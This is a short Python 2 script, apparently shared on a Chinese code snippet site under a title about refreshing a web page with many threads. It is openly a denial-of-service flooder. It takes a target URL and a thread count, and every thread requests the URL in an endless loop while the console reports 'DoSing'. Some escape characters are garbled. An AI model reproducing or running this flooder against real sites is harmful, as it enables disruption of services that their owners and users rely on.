python多线程不断刷新网页的代码

import thread
import urllib2
import sys
import time
 
def usage():
    print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'
    sys.exit()
 
def reloader(numthread):
    url = sys.argv[1]
    numreloads = 0
    while True:
        try:
            urllib2.urlopen(url)
            numreloads = numreloads + 1
        except KeyboardInterrupt:
            sys.exit('nProcess aborted.')
 
def splash():
    print 'welcome to http://www.sharejs.com/codes '
 
if len(sys.argv) < 3:
    usage()
 
if __name__ == '__main__':
    splash()
    print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'
    for reloadspawn in range(0,int(sys.argv[2])):
        thread.start_new_thread(reloader,(reloadspawn,))
    sys.stdout.write('')
    dosind = ['-','','|','/']
    dosstat = 0
    while True:
        try:
            sys.stdout.write('r' + dosind[dosstat % 4] + ' DoSing...')
            sys.stdout.flush()
            dosstat = dosstat + 1
            time.sleep(0.25)
        except KeyboardInterrupt:
            sys.exit('nProcess aborted.')